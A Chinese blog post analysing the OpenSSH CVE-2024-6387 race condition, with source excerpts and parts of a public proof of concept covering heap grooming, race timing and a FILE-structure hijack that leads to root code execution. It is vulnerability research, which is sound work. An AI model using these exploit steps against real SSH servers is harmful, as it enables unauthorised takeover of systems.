CVE-2024-6387 分析

news2024/11/25 10:53:42

文章目录

  • 1. 漏洞成因
  • 2. 漏洞利用前置知识
    • 2.1 相关 SSH 协议报文格式
    • 2.2 Glibc 内存分配相关规则
  • 3. POC
    • 3.1 堆内存布局
    • 3.2 服务端解析数据时间测量
    • 3.3 条件竞争
    • 3.4 FSOP
  • 4. 相关挑战

原文链接:个人博客

近几天,OpenSSH爆出了一个非常严重的安全漏洞,该漏洞可导致未授权的root权限任意代码执行,即 Unauthorized root RCE。该漏洞主要影响版本为 [8.5p1, 9.8p1)。下面对该漏洞进行简要分析。

分析使用的OpenSSH版本:9.7p1

参考资料:资料

1. 漏洞成因

这个漏洞可以看做是 CVE-2006-5051 的重演,该漏洞在 8.5p1 版本被引入,产生的原因是在 commit 752250C 中错误地删除了 sigdie() 函数中的一条语句 #ifdef DO_LOG_SAFE_IN_SIGHAND,该函数在SIGALRM信号的 handler 函数中被直接调用。因此实际上该漏洞对于 <4.4p1 版本的 OpenSSH 也有效。

在 SSHd 的 main 函数中,通过 ssh_signal 函数注册了对于 SIGALRM 信号的 handler 函数 grace_alarm_handler。在 SSHd 中,如果客户端在 LoginGraceTime (较新版本默认为120s)时间内没有完成认证,则会产生 SIGALRM 信号,并异步调用 grace_alarm_handler

// sshd.c, line 2222

ssh_signal(SIGALRM, grace_alarm_handler);

--------------------------------------------------------------------------------

// sshd.c, line 349

/*
 * Signal handler for the alarm after the login grace period has expired.
 */
static void
grace_alarm_handler(int sig)
{
	/*
	 * Try to kill any processes that we have spawned, E.g. authorized
	 * keys command helpers or privsep children.
	 */
	if (getpgid(0) == getpid()) {
		ssh_signal(SIGTERM, SIG_IGN);
		kill(0, SIGTERM);
	}

	/* Log error and exit. */
	sigdie("Timeout before authentication for %s port %d",
	    ssh_remote_ipaddr(the_active_state),
	    ssh_remote_port(the_active_state));
}

这里重点关注 sigdie

// log.h, line 96

#define sigdie(...)		sshsigdie(__FILE__, __func__, __LINE__, 0, SYSLOG_LEVEL_ERROR, NULL, __VA_ARGS__)

--------------------------------------------------------------------------------

// log.c, line 450

void
sshsigdie(const char *file, const char *func, int line, int showfunc,
    LogLevel level, const char *suffix, const char *fmt, ...)
{
	va_list args;

	va_start(args, fmt);
	sshlogv(file, func, line, showfunc, SYSLOG_LEVEL_FATAL,
	    suffix, fmt, args);
	va_end(args);
	_exit(1);
}

void
sshlogv(const char *file, const char *func, int line, int showfunc,
    LogLevel level, const char *suffix, const char *fmt, va_list args)
{

	...

	do_log(level, forced, suffix, fmt2, args);      // line 493
}

--------------------------------------------------------------------------------

// log.c, line 336

static void
do_log(LogLevel level, int force, const char *suffix, const char *fmt,
    va_list args)
{

    ...

    syslog(pri, "%.500s", fmtbuf);  // line 419

syslog 是libc实现的库函数。如果在其中调用了异步执行不安全的函数(如 malloc ,因为 malloc 进行内存分配时不会加锁),那么就有可能出现内存不安全问题。

事实是,它确实调用了:

// /misc/bits/syslog.h, line 28

__fortify_function void
syslog (int __pri, const char *__fmt, ...)
{
  __syslog_chk (__pri, __USE_FORTIFY_LEVEL - 1, __fmt, __va_arg_pack ());
}

--------------------------------------------------------------------------------

// /misc/syslog.c, line 103

void
__syslog_chk (int pri, int flag, const char *fmt, ...)
{
  va_list ap;

  va_start (ap, fmt);
  __vsyslog_internal (pri, fmt, ap, (flag > 0) ? PRINTF_FORTIFY : 0);
  va_end (ap);
}

--------------------------------------------------------------------------------

// /misc/syslog.c, line 119

void
__vsyslog_internal (int pri, const char *fmt, va_list ap,
		    unsigned int mode_flags)
{

    ...

    struct tm *now_tmp = __localtime64_r (&now, &now_tm);   // line 158

--------------------------------------------------------------------------------

// /time/localtime.c, line 27

struct tm *
__localtime64_r (const __time64_t *t, struct tm *tp)
{
  return __tz_convert (*t, 1, tp);
}

--------------------------------------------------------------------------------

// /time/tzset.c, line 566

struct tm *
__tz_convert (__time64_t timer, int use_localtime, struct tm *tp)
{

    ...

    tzset_internal (tp == &_tmbuf && use_localtime);    // line 577

--------------------------------------------------------------------------------

// /time/tzset.c, line 366

static void
tzset_internal (int always)
{

    ...
    
    __tzfile_read (tz, 0, NULL);    // line 405

--------------------------------------------------------------------------------

// /time/tzset.c, line 100

void
__tzfile_read (const char *file, size_t extra, char **extrap)
{

    ...

    FILE *f;    // line 105

    ...

    f = fopen (file, "rce");    // line 162

    ...

    if (__builtin_expect (__fread_unlocked ((void *) &tzhead, sizeof (tzhead),  // line 182
					  1, f) != 1, 0)

__localtime64_r 第一次执行时,将按照上面的流程执行。可以看到,这里的 fopen 即为异步不安全函数调用,它的内部需要调用 malloc 分配一个 FILE 结构。在 __fread_unlocked 中也需要调用 malloc 分配一个 4KB 的读缓冲区。

2. 漏洞利用前置知识

要深入理解该漏洞的整个利用逻辑,首先需要了解一些前置知识。

2.1 相关 SSH 协议报文格式

OpenSSH 实现了对于 SSH 协议的所有解析逻辑,在本漏洞中,需要了解的是 SSH 协议的算法交换部分。

在 SSH 建立连接之前,首先需要完成客户端与服务端的算法协商,这些算法包括密钥交换算法、报文加密算法等。因为客户端与服务端的 SSH 版本可能不同,支持的算法也可能不同,因此需要协商出客户端与服务端都实现的算法。对于算法的协商,SSH 协议通过4个报文完成:

  1. 客户端将自身支持的算法发送至服务端。
  2. 服务端将自身支持的算法发送至客户端。
  3. 客户端向服务器发送自己选择的算法。
  4. 服务端向客户端发送响应,表示收到客户端的算法选择。

在前面两个报文中,对于支持算法的发送采用的是 ASCII 明文。具体的 SSH 报文格式如下:

  • 4 bytes – SSH 报文总长度(大端序)
  • 1 byte – padding length,即最后用于填充的字节数量
  • 1 byte – message code,即 SSH 报文消息码,算法选择的消息码为 20/0x14
  • 16 bytes – cookie
  • 变长部分 – 用于列举所有本端可用的算法。每一种算法发送的格式为:
    • 4 bytes – algorithm length,即算法描述的长度
    • 变长部分 – 算法的具体内容,以 ASCII 码形式发送

可想而知,对于服务端与客户端而言,要想实现对这个报文的解析,必须使用一定的内存空间保存这些算法的相关描述。这一逻辑在 SSHd 中通过 sshkey.c 中的 cert_parse(line 1761)函数实现。在这个函数中循环调用 malloc 函数以保存报文内容。当发送的报文解析失败时,将会调用 sshkey.c 中的 cert_free(line 569)函数循环释放这些内存空间。

2.2 Glibc 内存分配相关规则

该漏洞已经证实能够在基于 Glibc 的 Linux SSH 中完成利用。这与 Glibc 的内存分配策略高度相关。

Glibc 将一块用户可用堆内存(称为 chunk)的大小保存在其前面(低地址)的位置,当用户程序需要释放 chunk 时,Glibc 将根据这块内存的大小将 chunk 链入不同的链表中(这些链表称为 bins)。根据功能不同,Glibc 将这些 bins 分为几类:tcache、fastbin、small bin、large bin、unsorted bin。

Glibc 的内存分配主要通过 _int_malloc 函数实现,释放则主要通过 _int_free 实现。在网址中可以找到所有版本的 Glibc 源码,感兴趣的读者可自行查看。下面介绍与本漏洞相关的一些内存分配特性:

在内存分配过程中,Glibc 首先会从 tcache、fastbin、small bin 中查找,如果没有找到合适的 chunk,则会遍历 unsorted bin 进行查找。unsorted bin 中可保存任意大小的较大的 chunk,遍历过程中,如果发现不等于分配需求的 chunk,会根据其大小将其转移到合适的 small bin/large bin 中。当 unsorted bin 遍历完毕后,如果还是没有找到合适的 chunk,则会尝试在 large bins 中寻找可用的大 chunk 并拆分之。这个拆分操作需要满足多个前提条件,这里不是重点。拆分完成后,剩余的 chunk 将会保存为 last remainder,该 chunk 将被放在 unsorted bin 的开头位置,它将在下一次遍历 unsorted bin 时优先被考虑分配。需要注意的是,remainder chunk 是在其拆分完成后设置其 size 字段的。在 remainder chunk 被切分出来后,但没有设置 size 前,对 size 字段进行修改,即可实际上控制这个 chunk 的大小,可以让这个 chunk 与后面的 chunk 重叠。在 size 字段被正确修改前立即将该 chunk 分配出去,即可完成对堆内存的破坏。

为了保证其他的内存分配操作不会破坏所需的堆内存布局,客户端可以通过多次发送公钥数据包将 tcache 填满,为了提升利用的成功率,在公钥文件不大于256KB的情况下,可以生成27个上图的 large-small holes 结构,其中 chunk 的大小有微小区别。

3. POC

POC 来源:github

下面分析POC中的关键代码逻辑。通过下面的分析可以帮助读者彻底了解该漏洞的利用方式、

在POC中,首先需要进行与SSH服务器的连接与密钥交换。这部分代码不是重点,略过。

3.1 堆内存布局

void
prepare_heap (int sock)
{
  // Packet a: Allocate and free tcache chunks
  for (int i = 0; i < 10; i++)
    {
      unsigned char tcache_chunk[64];
      memset (tcache_chunk, 'A', sizeof (tcache_chunk));
      send_packet (sock, 5, tcache_chunk, sizeof (tcache_chunk));
      // These will be freed by the server, populating tcache
    }

  // Packet b: Create 27 pairs of large (~8KB) and small (320B) holes
  for (int i = 0; i < 27; i++)
    {
      // Allocate large chunk (~8KB)
      unsigned char large_hole[8192];
      memset (large_hole, 'B', sizeof (large_hole));
      send_packet (sock, 5, large_hole, sizeof (large_hole));

      // Allocate small chunk (320B)
      unsigned char small_hole[320];
      memset (small_hole, 'C', sizeof (small_hole));
      send_packet (sock, 5, small_hole, sizeof (small_hole));
    }

  // Packet c: Write fake headers, footers, vtable and _codecvt pointers
  for (int i = 0; i < 27; i++)
    {
      unsigned char fake_data[4096];
      create_fake_file_structure (fake_data, sizeof (fake_data),
                                  GLIBC_BASES[0]);
      send_packet (sock, 5, fake_data, sizeof (fake_data));
    }

  // Packet d: Ensure holes are in correct malloc bins (send ~256KB string)
  unsigned char large_string[MAX_PACKET_SIZE - 1];
  memset (large_string, 'E', sizeof (large_string));
  send_packet (sock, 5, large_string, sizeof (large_string));
}

在这里,send_packet 实现了一个简单的 SSH 协议数据包封装,用于发送 SSH 数据包。

该函数中一共发送了4个数据包,这4个数据包的作用分别为:

  1. 填充 tcache。
  2. 创建 27 个大小 chunk 对,大 chunk 为 8KB,小 chunk 为 320B。
  3. 写入伪造的 FILE 结构体数据。
  4. 发送一个超大数据包,使得服务端对该 chunk 进行分配与释放,令 glibc 将 27 个大小 chunk 对中的 27 个大 chunk 和 27 个小 chunk 转移到 large bins 与 small bins 中。

3.2 服务端解析数据时间测量

void
time_final_packet (int sock, double *parsing_time)
{
  double time_before = measure_response_time (sock, 1);
  double time_after = measure_response_time (sock, 2);
  *parsing_time = time_after - time_before;

  printf ("Estimated parsing time: %.6f seconds\n", *parsing_time);
}

double
measure_response_time (int sock, int error_type)
{
  ...

  struct timespec start, end;
  clock_gettime (CLOCK_MONOTONIC, &start);

  send_packet (sock, 50, error_packet,
               packet_size); // SSH_MSG_USERAUTH_REQUEST

  char response[1024];
  ssize_t received;
  do
    {
      received = recv (sock, response, sizeof (response), 0);
    }
  while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));

  clock_gettime (CLOCK_MONOTONIC, &end);

  double elapsed
      = (end.tv_sec - start.tv_sec) + (end.tv_nsec - start.tv_nsec) / 1e9;
  return elapsed;
}

堆内存布局完成后,POC 中通过 time_final_packet 来测量服务端解析客户端发送的数据的所需时间。这里测量了两次,分别代表不同错误的解析时间。两次测量对应的错误在 SSHd 中的时间差产生于是否调用了 sshkey_from_blob,因此将两个时间段相减即可得到函数 sshkey_from_blob 的执行时间。

3.3 条件竞争

完成上述操作之后,客户端还需要发送最后一个超大的 SSH 报文。该报文是算法协商报文,长度为 SSH 协议允许的最大长度。由于 SSH 报文前面带有长度字段,因此一个 SSH 报文允许被包装在多个 TCP 报文中传输。在下面的代码中,POC 直接发送最后一个报文,但故意少发送 1 个字节,让服务端一直等待最后 1 个字节的到来:

int
attempt_race_condition (int sock, double parsing_time, uint64_t glibc_base)
{
  unsigned char final_packet[MAX_PACKET_SIZE];
  create_public_key_packet (final_packet, sizeof (final_packet), glibc_base);

  // Send all but the last byte
  if (send (sock, final_packet, sizeof (final_packet) - 1, 0) < 0)
    {
      perror ("send final packet");
      return 0;
    }

随后,进行计时,准备好在即将超时的瞬间发送最后 1 个字节:

  // Precise timing for last byte
  struct timespec start, current;
  clock_gettime (CLOCK_MONOTONIC, &start);

  while (1)
    {
      clock_gettime (CLOCK_MONOTONIC, &current);
      double elapsed = (current.tv_sec - start.tv_sec)
                       + (current.tv_nsec - start.tv_nsec) / 1e9;
      if (elapsed >= (LOGIN_GRACE_TIME - parsing_time - 0.001))
        { // 1ms before SIGALRM
          if (send (sock, &final_packet[sizeof (final_packet) - 1], 1, 0) < 0)
            {
              perror ("send last byte");
              return 0;
            }
          break;
        }
    }

发送最后一个字节后,服务端发现这是一个算法协商报文,因此会多次调用 cert_parse 函数进行解析。POC 精心构造了这个超长报文,使得 cert_parse 将会循环 54 次解析过程,每次解析过程都会调用一次 malloc 函数。POC 能够让 SSHd 以 0x4096、0x304(FILE 结构体的大小)、0x4096、0x304、… 的顺序调用 malloc 函数分配内存,使得在后面的一段时间内,SSHd 会进行一系列的内存分配,同时由于超时,SSHd 将异步地执行另外的内存分配。在此之前,由于我们分配的 8KB、320 Bytes 内存中的任意内容均可控,因此完全可以提前在 320 byte 的 chunk 中写好伪造的 FILE 结构体与虚假的过大的 remainder size。这样一来,只要 syslog 抢在 remainder size 更新前将虚大的 remainder 分配出去,就能够使 remainder 部分覆盖 syslog 获取的 FILE 结构体。

注意:由于 0x320 chunk 位于 tcache,因此 syslog 获取 FILE 结构体并不会切分 remainder,这个操作是由后面分配 4KB 的读缓冲区触发的。切分 remainder 后,还会剩下一个小 remainder,_int_malloc 一更新这个小 remainder 的相关字段,就完成了对 syslogFILE 结构体的破坏。

3.4 FSOP

该漏洞在32位下可以通过 FSOP 完成利用,这主要是考虑到 32 位系统的 ASLR 保护不完善,Glibc 只能映射到两个基地址:0xb7400000 或 0xb7200000。这正给了攻击者做文章的机会。

在上一节,我们提到通过更新 remainder 的 相关字段,能够达到破坏 FILE 结构体的效果。具体而言,它实际上是修改了 FILE 结构体中的 _vtable_offset 字段:

struct _IO_FILE
{
  int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */

  /* The following pointers correspond to the C++ streambuf protocol. */
  char *_IO_read_ptr;	/* Current read pointer */
  char *_IO_read_end;	/* End of get area. */
  char *_IO_read_base;	/* Start of putback+get area. */
  char *_IO_write_base;	/* Start of put area. */
  char *_IO_write_ptr;	/* Current put pointer. */
  char *_IO_write_end;	/* End of put area. */
  char *_IO_buf_base;	/* Start of reserve area. */
  char *_IO_buf_end;	/* End of reserve area. */

  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
  int _flags2;
  __off_t _old_offset; /* This used to be _offset but it's too small.  */

  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

struct _IO_FILE_complete
{
  struct _IO_FILE _file;
#endif
  __off64_t _offset;
  /* Wide character stream stuff.  */
  struct _IO_codecvt *_codecvt;
  struct _IO_wide_data *_wide_data;
  struct _IO_FILE *_freeres_list;
  void *_freeres_buf;
  size_t __pad5;
  int _mode;
  /* Make sure we don't get into trouble again.  */
  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};

如果猜测 Glibc 的映射基地址为 0xb7400000,那么 last remainder 的 fd 指针与 bk 指针指向 unsorted bin 后,其值应该为 0xb761d7f8(随 Glibc 版本不同而不同,但高 2 字节基本都相同),反映到上面的 FILE 结构体中,则是将 _vtable_offset 修改为 bk 指针的第 3 个字节——0x61。

// Glibc 2.36, /malloc/malloc.c, line 4024

  remainder_size = size - nb;
  remainder = chunk_at_offset (victim, nb);
  unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
  av->last_remainder = remainder;
  remainder->bk = remainder->fd = unsorted_chunks (av);

在 Glibc 中,对于文件读写等操作的相关函数是统一保存在一个个 vtable 中的,实际执行时需要首先访问 vtable,再获取其中的函数指针以调用执行。将 _vtable_offset 改为 0x61 后,syslog__fread_unlocked 将会找到 _IO_wfile_jumps 这个 vtable,选择其中的 _IO_wfile_underflow 函数执行(正常情况下应该是执行 _IO_file_jumps 中的 _IO_file_underflow)。在 _IO_wfile_underflow 中,存在下面的调用链:

_IO_wfile_underflow
  __libio_codecvt_in
    DL_CALL_FCT
// Glibc 2.36, /libio/wfileops.c, line 110

wint_t
_IO_wfile_underflow (FILE *fp)
{
  ...

  cd = fp->_codecvt;    // line 130

  ...

  status = __libio_codecvt_in (cd, &fp->_wide_data->_IO_state,
      fp->_IO_read_ptr, fp->_IO_read_end,
      &read_stop,
      fp->_wide_data->_IO_read_ptr,
      fp->_wide_data->_IO_buf_end,
      &fp->_wide_data->_IO_read_end);   // line 141-146
  
  ...
}

--------------------------------------------------------------------------------

// Glibc 2.36, /libio/iofwide.c, line 161

enum __codecvt_result
__libio_codecvt_in (struct _IO_codecvt *codecvt, __mbstate_t *statep,
		    const char *from_start, const char *from_end,
		    const char **from_stop,
		    wchar_t *to_start, wchar_t *to_end, wchar_t **to_stop)
{
  enum __codecvt_result result;

  struct __gconv_step *gs = codecvt->__cd_in.step;

  ...

  __gconv_fct fct = gs->__fct;    // line 178

  ...

  status = DL_CALL_FCT (fct,
			(gs, &codecvt->__cd_in.step_data, &from_start_copy,
			 (const unsigned char *) from_end, NULL,
			 &dummy, 0, 0));    // line 184-187
  
  ...
}

--------------------------------------------------------------------------------

// Glibc 2.36, /iconv/skeleton.c, line 153

#ifndef DL_CALL_FCT
# define DL_CALL_FCT(fct, args) fct args
#endif

需要注意的是,fopen 并没有对 FILE 结构体的 _codecvt 字段进行初始化,因此依然可以通过提前布置值完成对该字段的控制。

// Glibc 2.36, /libio/libio.h, line 114

struct _IO_codecvt
{
  _IO_iconv_t __cd_in;
  _IO_iconv_t __cd_out;
};

--------------------------------------------------------------------------------

// Glibc 2.36, /libio/libio.h, line 50

typedef struct
{
  struct __gconv_step *step;
  struct __gconv_step_data step_data;
} _IO_iconv_t;

--------------------------------------------------------------------------------

// Glibc 2.36, /iconv/gconv.h, line 83

/* Description of a conversion step.  */
struct __gconv_step
{
  struct __gconv_loaded_object *__shlib_handle;
  const char *__modname;

  /* For internal use by glibc.  (Accesses to this member must occur
     when the internal __gconv_lock mutex is acquired).  */
  int __counter;

  char *__from_name;
  char *__to_name;

  __gconv_fct __fct;
  
  ...
}

从上面的结构定义来看,我们需要的 __fct 函数指针经过多层结构包装。为了让提前写入的指针能够完整地构建调用链,攻击者可以选择将 _codecvt 写成 Glibc 的 bins 的地址,这样实际就是让 Glibc 将我们释放的 chunk 的前面一小部分看做 _IO_iconv_t 结构,接下去如法炮制,在已经释放的 chunk 中完成精心构造,即可让代码最终执行我们伪造的 __fct 函数指针,完成任意代码执行。

4. 相关挑战

该漏洞的利用较为困难,这主要是因为猜测 ASLR 与时间窗口竞争叠加的结果。

地址空间布局随机化(Address Space Layout Randomization)是一种常用的程序运行时保护方式,多次执行时,同一个段会映射到不同的内存地址。但 glibc 在32位下实际上只会映射到 0xb7400000 或 0xb7200000,因此实现 FSOP 还是有可能的。但是时间竞争窗口较小,导致总体成功率依然极低(实验室环境下6~8小时尝试平均10000次才能成功)。在64位强化 ASLR 中,通过猜测 glibc 加载地址进行攻击的利用方式就更加无法实现了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1893029.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

软件开发中常用的11款bug记录、跟踪、管理系统对比【2024更新】

软件开发项目的复杂性不断增加&#xff0c;有效的bug管理变得尤为关键。对开发团队而言&#xff0c;没有什么比选择一款合适的Bug跟踪工具更重要的了。工具的功能、界面友好度、整合能力及成本都是决策的关键因素。 1、PingCode 推荐指数&#xff1a;五星 简介&#xff1a;P…

常微分方程算法之编程示例十一-两点狄利克雷边值问题(紧差分法)

目录 一、研究问题 二、C++代码 三、计算结果 一、研究问题 本节我们采用紧差分法对示例八中的两点狄利克雷边值问题进行外推求解,相应的原理及推导思路请参考: 常微分方程算法之高精度算法(Richardson法+紧差分法)_richardson外推法-CSDN博客https://blog.csdn.net/L_…

python gdal 压缩栅格数据

1 压缩方法LZW 使用 LZW&#xff08;Lempel-Ziv-Welch&#xff09;&#xff0c;主要对图像数据压缩&#xff0c;可逆 2 代码 函数gdal_translate()&#xff1a;转换栅格的不同格式 我们使用的数据是GTiff格式的数据 GTiff – GeoTIFF File Format — GDAL documentation 参…

秒拿AI模型API Key!Chat2DB AI模型切换实用秘籍

智谱AI&#xff08;ZhiPu AI&#xff09; 智谱 AI 是由清华大学计算机系技术成果转化而来的公司&#xff0c;致力于打造新一代认知智能通用模型。 1.申请调用权限 智谱AI开放平台网址&#xff1a;https://open.bigmodel.cn/ 点击开始使用&#xff0c;进行登录/注册。 智谱A…

I方C是什么啊,老是听到他们说

首先说一下串口通讯&#xff0c;只能在两个设备之间进行&#xff0c;如下图&#xff1a; 若三个设备相互通讯&#xff0c;则每个设备需要两组串口。它们其实是三组相互独立的串口通讯。如下图&#xff1a; 若是四个设备相互通讯就更麻烦了&#xff0c;以此类推。这样一来&#…

【CUDA】 矩阵乘向量 matVecMul

Matrix - Vector Multiplication 矩阵-向量乘法是线性代数中的基本操作。它用于将一个矩阵与一个向量相乘。乘法的结果是与输入向量大小相同的向量。 矩阵和向量的乘法如图1所示。 图1 基础kernel与共享内存kernel 执行矩阵-向量乘法的基础kernel是使用单个线程执行输出向量…

教育行业的网络安全:保护学生数据与防范网络欺凌

在数字化的春风中&#xff0c;教育行业迎来了知识的繁花似锦&#xff0c;然而&#xff0c;随之而来的网络安全风暴也悄然逼近。学生数据的脆弱性与网络欺凌的阴影交织成一幅复杂的画卷&#xff0c;呼唤着教育工作者与技术专家共同编织一张密不透风的网络安全之网。本文深入探讨…

深度之眼(二十九)——神经网络基础知识(四)-循环神经网络

文章目录 一、 学习目标二、序列数据三、语言模型四、循环神经网络4.1 RNN的反向传播 五、门控循环单元-GNU5.1 候选隐藏状态 六、长短期记忆网络-LSTM七、回顾 一、 学习目标 二、序列数据 序列数据是常见的数据类型&#xff0c;前后数据通常具有关联性 三、语言模型 综合…

前后端分离:四种开发模式与实践指南

前后端分离&#xff1a;四种开发模式与实践指南 什么是前后端分离 当业务变得越来越复杂或产品线越来越多时&#xff0c;原有的开发模式就无法满足业务需求了。 产品越来越多&#xff0c;展现层的变化越来越快、越来越多&#xff0c;此时应该进行前后端分离的分层抽象&#…

【C语言】break 关键字

当在C语言中使用break关键字时&#xff0c;它通常用于两种主要情况&#xff1a;在循环中和在switch语句中。让我们详细看看每种情况下的用法和作用。 在循环中的使用&#xff1a; 在循环中&#xff0c;break语句的作用是立即终止当前所在的循环&#xff0c;然后跳出循环体执行…

Qt 使用 QZipReader 解压文件

Qt 使用 QZipReader 解压文件 文章目录 Qt 使用 QZipReader 解压文件摘要关于 QZipReader使用 QZipReader代码解释&#xff1a; 快速解 extractAll 关键字&#xff1a; Qt、 QZipReader、 extractAll、 Zip、 解压缩 摘要 每日一坑&#xff0c;坑坑难过&#xff0c;今日在…

深入解析.[datastore@cyberfear.com].mkp勒索病毒:威胁与防范

引言 在数字化时代&#xff0c;网络安全问题日益严峻&#xff0c;其中勒索病毒&#xff08;Ransomware&#xff09;作为一种极具破坏性的恶意软件&#xff0c;严重威胁着个人用户和企业机构的数据安全。.[ datastorecyberfear.com].mkp勒索病毒便是这一领域中的一颗“毒瘤”&am…

广东第二师范学院携手泰迪智能科技助力学子实习实践发展

为进一步推动和深化产教融合、校企合作&#xff0c;充分发挥企业在技术技能人才培养的重要作业。7月2日&#xff0c;广东第二师范学院统计学专业与广东泰迪智能科技股份有限公司联合开展学生专业见习活动。广东第二师范学院统计学专业专业教师曹俊飞、郑铮、泰迪智能科技高校事…

Python学生信息管理系统(完整代码)

引言&#xff1a;&#xff08;假装不是一个大学生课设&#xff09;在现代教育管理中&#xff0c;学生管理系统显得尤为重要。这种系统能够帮助教育机构有效地管理学生资料、成绩、出勤以及其他教育相关活动&#xff0c;从而提高管理效率并减少人为错误。通过使用Python&#xf…

ESP32S SENSOR与VDET引脚 无法输出问题 注意PWM输出的任意引脚并不包括所有引脚

问题记录&#xff1a; 注意PWM输出的任意引脚并不包括所有引脚&#xff0c;需要排除无法作为输出的引脚。数据手册中并没有在管脚表格中标明&#xff0c;如下表&#xff1a; 我在做esp32智能手环的时候&#xff0c;将GPIO39引脚&#xff08;SENSOR_VN&#xff09;作为蜂鸣器的P…

h5 video 播放视频

纯属娱乐&#xff0c;非技术之谈 https://andi.cn/page/621497.html

latex 报错解决①aligned ②begin document

1. 是aligned&#xff0c;不是align&#xff01;&#xff01; 网上写的公式大多是这样的 \begin{equation}\label{eq:2} \begin{align} Q\left( {s,t} \right) a{s^2} 2bst c{t^2} 2ds 2et f \end{align} \end{equation}但是报错&#xff1a; ! Package amsmath Erro…

顶顶通呼叫中心中间件(mod_cti基于FreeSWITCH)-http话术接口测试流程

文章目录 前言联系我们部署http话术PHP例子Java例子 登录ccadmin-web配置拨号方案创建与注册分机创建分机注册分机 测试 前言 用户一直想体验机器人话术的效果&#xff0c;但却找不到门路。本文提供了配置机器人话术接口的配置流程&#xff0c;供用户体验。用户可以根据本文的…

深度学习简介-AI(三)

深度学习简介 深度学习简介深度学习例子深度学习训练优化1.随机初始化2.优化损失函数3.优化器选择4.选择/调整模型结构 深度学习常见概念隐含层/中间层随机初始化损失函数导数与梯度优化器Mini Batch/epoch 深度学习训练逻辑图 深度学习简介 深度学习例子 猜数字 A: 我现在心…